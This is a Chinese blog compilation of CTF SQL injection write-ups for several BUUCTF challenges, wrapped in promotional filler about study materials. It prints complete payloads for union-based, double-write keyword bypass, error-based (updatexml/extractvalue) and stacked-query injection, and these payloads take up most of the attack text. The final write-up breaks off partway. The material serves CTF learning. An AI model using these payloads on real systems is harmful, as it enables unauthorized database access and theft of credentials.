2024年网络安全最新CTF Web SQL注入专项整理(持续更新中)_ctf sql注入(2),2024年最新阿里P7大牛整理

2401_84302761 2024-06-12 09:03:04 阅读 95

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

是否为字符型注入

admin

1'

回显结果

image.png

判断注入手法类型

使用堆叠注入

采用密码参数进行注入

数据

1'; show database();#

回显结果

image.png

这里猜测注入语句某字段被过滤,或者是’;'被过滤导致不能堆叠注入

爆字段数

1';order by 4#

回显结果

image.png

报错

抛弃堆叠注入

步入正题

1' order by 4#

回显结果

image.png

成功,但是不存在第4列

同时验证了猜想不能使用堆叠注入

继续判断列数

1' order by 3#

image.png

可知列数只有3列

数据

使用联合查询

1' union select 1,2,database()#

image.png

数据

1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

回显结果

image.png

爆出两个表

开始爆数据表的字段

按照先后顺序把,先爆第一个

爆geekuser数据表的字段

1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#

回显结果

image.png

字段:id、username、password

爆geekuser数据表的所有内容

1' union select 1,database(),group_concat(id,username,password) from geekuser#

回显结果

image.png

无flag

转手数据表l0ve1ysq1

步骤和数据表geekuser一样,这里直接爆数据表l0ve1ysq1的flag值

1' union select 1,database(),group_concat(password) from l0ve1ysq1#

回显结果

image.png

image.png

得出flag:

flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134185235?spm=1001.2014.3001.5501

双写绕过原理

【例题】[极客大挑战 2019]BabySQL 1

题目环境:

image.png

作者已经描述进行了严格的过滤

做好心理准备进行迎接

判断注入类型

admin

1’

字符型注入

image.png

万能密码注入

admin

1’ or ‘1’='1

报错

image.png

已经是字符型注入了,所以的话只有or这里存在了过滤

联想到buuctf里面还没有碰到双写绕过的题目

所以这里斗胆试一下使用双写绕过

1' oorr '1'='1

成功

image.png

使用堆叠注入爆数据

1';show database();

报错

image.png

抛弃堆叠注入

尝试联合注入

联合注入末尾需要使用#号键进行注释#号后面的命令,避免报错

这里值得提一下schema和schemata和常见命令的理解

SCHEMA在MySQL中是数据库,SCHEMATA表用来提供有关数据库的信息。

union select就是联合注入,联合查询的意思

from来自

information_schema是MySQL自带的数据库

group_concat将值连接起来

where来自那个数据库或数据表等等

爆列数(关键命令采用双写进行绕过)

1' oorrder bbyy 4#

image.png

1' oorrder bbyy 3#

image.png

可知列数只有3列

查位(关键命令采用双写进行绕过)

1' ununionion seselectlect 1,2,3#

image.png

数据库(关键命令采用双写进行绕过)

1' ununionion seselectlect 1,database(),3#

image.png

采用第三列进行注入

爆所有数据库(关键命令采用双写进行绕过)

1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

image.png

根据常识ctf数据库里面存在flag的可能更大,故选择ctf数据库

爆ctf数据库里面的数据表

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

因为ctf在schema里面所有这里就是table_schema,schema里面的数据库ctf里面的数据表

得到Flag数据表

image.png

爆Flag数据表里面的字段

1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#

得到flag字段

image.png

爆flag字段内容

1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#

ctf.Flag意思就是ctf数据库里面的Flag数据表

image.png

得到flag:

flag{fbd18420-cab7-4d6e-8fb9-f8ea6febda61}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134277587?spm=1001.2014.3001.5502

报错注入原理

【例题】非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

题目环境:

image.png

没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了

做了好多这个作者出的题了,看来又要上强度了

判断注入类型

username:admin

password:1

这里把参数password作为注入点

image.png

1'

image.png

单引号的字符型注入

万能密码注入

1' or '1'='1

image.png

万能密码注入被链接

猜测某些字符或者关键字被过滤

SQL注入字典查过滤字符

image.png

Intruder字典爆破

image.png

光标选中参数password的值1-Add选择爆破目标

image.png

选用字典

image.png

Start attack开始爆破

image.png

OK

image.png

爆破结果:

image.png

741为过滤内容

可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等被过滤

继续测试

admin

1’ or

image.png

image.png

可以看到被拦截了

通过刚才的字典爆破,可以知道1’和or是没有被过滤的

那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙

刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin

1’(or)

image.png

like没有被过滤,使用like可以绕过=号,like <=> =

重新构造万能密码

1'or((1)like(1))#

image.png

image.png

可以看到绕过了空格限制

同时也登陆成功了

然后想到了之前做过很类似的一道题

SQL报错注入也用到了空格限制

(已经试了堆叠注入和联合注入都不行)

这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数

函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数

函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数

注入原理:

(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)

(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它

函数floor() mysql中用来取整的函数

函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入

爆库

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

image.png

得到库名geek

查表

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

image.png

得到数据表H4rDsq1

爆字段

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image.png

得到三个字段:id、username、password

查字段内容

1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

image.png

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:

flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制

这两种函数大同小异,不再赘述

当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以

大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#

image.png

image.png

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

image.png

image.png

好了大家已经明显看到了^和()绕过不同限制的区别

那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

image.png

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

image.png

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

image.png

使用right()突破字符限制

1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#

image.png

拼接得到最终flag:

flag{389c9161-c2eb-403a-8062-80f219ca1c30}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞

【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解!

题目环境

image.png

burp抓包

随便输入值

image.png

repeater放包

image.png

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式

通过测试发现是套加密(二次加密)

首先使用base32对此编码进行解码

base32解码

image.png

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码

image.png

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断

可以得出此题的注入点是参数name

判断注入类型

1

123

image.png

1’

123

image.png

发生报错

可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1

123

image.png

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin

密码暂且还不知道

判断字段数

1’ union select 1,2#

123

image.png

1’ union select 1,2,3#

123

image.png

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#

123

image.png

1’ union select 1,‘admin’,3#

123

image.png

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码

image.png

在search.php源代码哪里发现关键代码

image.png

if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}

发现参数password被md5加密

看着和之前做过的题很类似

大致就是传进去的值要进行md5值加密

换种方式猜测

username数据表里面的3个字段分别是flag、name、password。

猜测只有password字段位NULL

咱们给参数password传入的值是123

那么传进去后,后台就会把123进行md5值加密并存放到password字段当中

当我们使用查询语句的时候

我们pw参数的值会被md5值进行加密

然后再去与之前存入password中的md5值进行比较

如果相同就会输出flag

爆flag:

这里pw参数的值为123456

可以随便传

但是要对传入的那个值进行md5值加密

网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#

123456

image.png

得出flag:

flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法

【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境

image.png

判断注入类型

1

image.png

1’

image.png

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

image.png

查表

1’;show tables;

image.png

存在FlagHere数据

极有可能当中存在flag

查字段数

– - 是闭合符

1’ order by 3 – -

image.png

1’ order by 2 – -

image.png

可知只有两个字段数

查FlagHere数据表的字段名

1’;show columns from FlagHere;

image.png

存在flag字段!

查words数据表的字段名

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。